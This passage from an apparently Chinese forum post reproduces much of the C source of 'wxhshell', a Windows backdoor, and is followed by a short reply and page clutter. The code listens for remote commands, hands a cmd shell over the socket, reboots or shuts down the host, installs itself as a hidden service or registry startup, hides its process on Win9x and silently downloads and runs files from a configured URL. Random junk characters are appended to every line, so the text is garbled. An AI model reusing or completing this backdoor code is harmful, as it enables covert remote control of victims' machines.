  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VXu1Y xY  
  } sVT\e*4m}  
  else {  .tRWL!  
Twr<MXa  
    switch(cmd[0]) { ~,P."  
  #5W-*?H  
  // 帮助 ik|iAWy  
  case '?': { 'B$qq[l]S  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); E.OL_\  
    break; n/-d56  
  } KdkZ-.  
  // 安装 _#6ekl|%  
  case 'i': { Y,C3E>}Dq  
    if(Install()) AP_2.V=Sn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i^u5j\pfY*  
    else twJ)h :!_y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?hwT{h  
    break; '-m )fWf  
    } GOhGSV#  
  // 卸载 NhA_dskvo  
  case 'r': { 3_+$x 4%  
    if(Uninstall()) Fm{`?!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ` SO"F,  
    else 4F>?G{ci  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gdyP,zMD7  
    break; tV,Y38e  
    } fu?Y'Qet  
  // 显示 wxhshell 所在路径 J^ BC  
  case 'p': { y%x2  
    char svExeFile[MAX_PATH]; ,V2,FoJ 9  
    strcpy(svExeFile,"\n\r"); H{3A6fb<  
      strcat(svExeFile,ExeFile); ! FVXNl  
        send(wsh,svExeFile,strlen(svExeFile),0); mOvwdRKn  
    break; C~dD'Tq]  
    } 4RV5:&ALLS  
  // 重启 rwUKg[ 1N  
  case 'b': { -I#1xJU  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Q+UqLass  
    if(Boot(REBOOT)) lnoK.Vk9,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ju"*>66  
    else { J_^Ml)@iy  
    closesocket(wsh); o {bwWk7v6  
    ExitThread(0); Q(Dp116  
    } L0H kmaH  
    break; N\OeWjA F  
    } &\, ZtaB  
  // 关机 H%:~&_D  
  case 'd': { 8'B   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %2)'dtPD~  
    if(Boot(SHUTDOWN)) lC ^NhQi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *?Sp9PixP  
    else { 8s_'tw/{  
    closesocket(wsh); RRGCO+)*  
    ExitThread(0); `_{^&W WS  
    } 3+/{}rv  
    break; 0oFRcU  
    } x !o>zT\  
  // 获取shell ^Pk-<b4}  
  case 's': { oX9rpTi  
    CmdShell(wsh); wv8WqYV  
    closesocket(wsh); s innHQ  
    ExitThread(0); P+Ta|-  
    break; v<z%\`y  
  } A9[ELD>p  
  // 退出 x;cjl6Acm  
  case 'x': { x\m !3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); SBY  
    CloseIt(wsh); 9_mys}+  
    break; "=uphBZog  
    } eh-/,vmRa  
  // 离开 HV ^*_  
  case 'q': { )(|+z'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); k%?fy  
    closesocket(wsh); b{KpfbxcI  
    WSACleanup(); 9oL/oL-J/  
    exit(1); H"H&uA9"  
    break; )h0F'MzW  
        } pbe" w=<  
  } 'W/E*O6BY  
  } h<50jnH!  
Ub8|x]ix  
  // 提示信息 DV(^h$1_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XO*62 >Ed  
} JR1/\F<}  
  } 85<zl|ZD  
OE(Z)|LF  
  return; (dxkDS-G  
} _[8BAm  
4  |E`  
// shell模块句柄 !'()QtvC<  
int CmdShell(SOCKET sock) P%v7(bqL4+  
{ OYEL`!Q  
STARTUPINFO si; YH( 54R  
ZeroMemory(&si,sizeof(si)); xe;1D'(   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |5 sI=?p&t  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; h5-<2B|  
PROCESS_INFORMATION ProcessInfo; tc%?{W\  
char cmdline[]="cmd"; }>\+eG  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %G& Zm$u=  
  return 0; !Qu)JR  
} :_%  
^h z4IZ^  
// 自身启动模式 gOpGwpYZ,  
int StartFromService(void) e 'I13)  
{ x(nWyVB  
typedef struct >W= 0N (  
{ -,t2D/xK  
  DWORD ExitStatus; Q Fv"!Ql  
  DWORD PebBaseAddress; oGi;S="I  
  DWORD AffinityMask; 8m0GxgS  
  DWORD BasePriority; F^Yt\V~T  
  ULONG UniqueProcessId; 15i8) 4h  
  ULONG InheritedFromUniqueProcessId; `Trpv$   
}   PROCESS_BASIC_INFORMATION; 7tgn"wK  
cNzn2-qv  
PROCNTQSIP NtQueryInformationProcess; $= /.oh  
Hf ]aA_:   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $0C1';=^}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; []D@"Bz  
$okGqu8z.O  
  HANDLE             hProcess; "=0#pH1o  
  PROCESS_BASIC_INFORMATION pbi; Y4Hi<JWo  
n%lY7.z8d  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); sEj?,1jk  
  if(NULL == hInst ) return 0; b$kCyOg  
?d)I!x,;;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); xyK_1n@b  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Z[Gs/D  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); v Dgf}  
] 8sVXZ  
  if (!NtQueryInformationProcess) return 0; Ij_Y+Mnl4:  
Suixk'-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); k\UDZ)TQV  
  if(!hProcess) return 0; >y%*HC!G  
S&jZYq**  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *xxG@h|5n  
9IgozYj  
  CloseHandle(hProcess); I4kN4*d!N,  
w:l/B '%]Y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &BnK[Q8X  
if(hProcess==NULL) return 0; F.)b`:g  
6$qn'K$  
HMODULE hMod; SqL8MKN)  
char procName[255]; 9K*yds  
unsigned long cbNeeded; okx~F9  
&CCp@" +  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (B@:0}>  
H tIl;E  
  CloseHandle(hProcess); B[:-SWd  
9ZjSM,+  
if(strstr(procName,"services")) return 1; // 以服务启动 `<>Emc8Z  
irSdqa/  
  return 0; // 注册表启动 7@R;lOzL3  
} !BD+H/A.{  
sfSM7f  
// 主模块 tSK{Abw1B  
int StartWxhshell(LPSTR lpCmdLine) .!T]sX_P  
{ R9X* R3nB  
  SOCKET wsl; ,&S:(b[D  
BOOL val=TRUE; &D, gKT~  
  int port=0; (,~gY=E+  
  struct sockaddr_in door; LFHV~>d  
ek~bXy{O`  
  if(wscfg.ws_autoins) Install(); XJl2_#  
*rPUVhD_  
port=atoi(lpCmdLine); 5a1)`2V2M  
iGmBG1a\  
if(port<=0) port=wscfg.ws_port; -`FPR4;  
G<9UL*HU  
  WSADATA data; 8YJ8_$Z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; qP<wf=wY  
@N?A 0S/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   F%!ZHE7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Y_n^6 ;  
  door.sin_family = AF_INET; f6x}M9xS%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]J\tosTi  
  door.sin_port = htons(port); (Hqy^EOZ  
V3&_ST  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,"!t[4p=f  
closesocket(wsl); eC:?j`H -  
return 1; FBpf_=(_1  
} Nq|b$S[4  
6T>e~<^  
  if(listen(wsl,2) == INVALID_SOCKET) { f8um.Xnp6  
closesocket(wsl); PzThVeJ+  
return 1; )h-Qi#{  
} #% PnZ /  
  Wxhshell(wsl); V=}AFGC85  
  WSACleanup(); cx?t C#t  
J%c4-'l  
return 0; i9?$BZQ[R  
(rV#EA+6[`  
} aW-'Jg=@H^  
t><AaYij_  
// 以NT服务方式启动 Wh4`Iv\.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7Pu.<b}  
{ W|_^Oe<  
DWORD   status = 0; 4%/iu)nx  
  DWORD   specificError = 0xfffffff; O(BAw  
 u!TVvc  
  serviceStatus.dwServiceType     = SERVICE_WIN32; L=W8Q8hf  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [5$=G@ zf  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ng $`<~=)\  
  serviceStatus.dwWin32ExitCode     = 0; SB R=  
  serviceStatus.dwServiceSpecificExitCode = 0; A7!!kR":  
  serviceStatus.dwCheckPoint       = 0; :=u Ku'~  
  serviceStatus.dwWaitHint       = 0; c}K>#{YeB  
A<esMDX  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); FV|/o%XqK  
  if (hServiceStatusHandle==0) return; ]i\C4*  
Gz)]1Z{%$  
status = GetLastError(); 9l9h*P gt  
  if (status!=NO_ERROR) bd],fNgJ  
{ dZ'hTzw~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _&s37A&\  
    serviceStatus.dwCheckPoint       = 0; ni$7)YcF  
    serviceStatus.dwWaitHint       = 0; `4E6&&E+S  
    serviceStatus.dwWin32ExitCode     = status; vCE1R]^A.]  
    serviceStatus.dwServiceSpecificExitCode = specificError; cl s-x@ Kd  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q$_S/d%*  
    return; G%N3h'zDi  
  } VHhW_ya1g{  
_:|/4.]`_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; C"w>U   
  serviceStatus.dwCheckPoint       = 0; 3(|8gWQ  
  serviceStatus.dwWaitHint       = 0; 03aa>IO  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); S7SD$+fX  
} TqURYnNd  
rdd%"u+  
// 处理NT服务事件,比如:启动、停止 SenDJv00  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?rqU&my S  
{ bN-ljw0&  
switch(fdwControl) I6}ine ps  
{ > D:( HWL  
case SERVICE_CONTROL_STOP: GY9CU=-  
  serviceStatus.dwWin32ExitCode = 0; B=K& +  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; FbRq h|  
  serviceStatus.dwCheckPoint   = 0; j_2-  
  serviceStatus.dwWaitHint     = 0; xf/ SUO F  
  { *3_@#Uu7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +/,J$(  
  } iYE:o{  
  return; 9(`d h  
case SERVICE_CONTROL_PAUSE: tjw4.L<r  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 'yG9Rt  
  break; z& !n'N<C  
case SERVICE_CONTROL_CONTINUE: (9bFIvMc  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; bL>J0LWQ  
  break; k!Y7 Rc{"  
case SERVICE_CONTROL_INTERROGATE: *,Bo $:(n  
  break; zX+NhTTB  
}; Ik_u34U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8RC7 Ei  
} k`H#u,&  
v6B}ov[Y2  
// 标准应用程序主函数 Qp9)Rc5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) G-?y;V 1  
{  +c@s  
]mEY/)~7  
// 获取操作系统版本 ^^MVd@,i  
OsIsNt=GetOsVer(); <1~5l ~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); P9j[ NEV  
8. 9TWsZ  
  // 从命令行安装 wGfU@!m  
  if(strpbrk(lpCmdLine,"iI")) Install(); Q9v OY8  
uZ}=x3B  
  // 下载执行文件 4 \*!]5i  
if(wscfg.ws_downexe) { 8I o--Ew3  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) WVPnyVDc  
  WinExec(wscfg.ws_filenam,SW_HIDE);  XI+m  
} uh`W} n  
cfn\De%.  
if(!OsIsNt) { 8sm8L\-  
// 如果时win9x,隐藏进程并且设置为注册表启动 8 /3`rEW  
HideProc(); fh rS7f'Zd  
StartWxhshell(lpCmdLine); |q&&"SpA  
} {%WQQs  
else y8/ 7@qw  
  if(StartFromService()) s&-m!|P  
  // 以服务方式启动 7`,A]":;  
  StartServiceCtrlDispatcher(DispatchTable); 7}+U;0,)  
else xE+Nz5F  
  // 普通方式启动 HFV4S]U=  
  StartWxhshell(lpCmdLine); nSWW^ ;  
3\J-=U  
return 0; ?2D1gjr  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八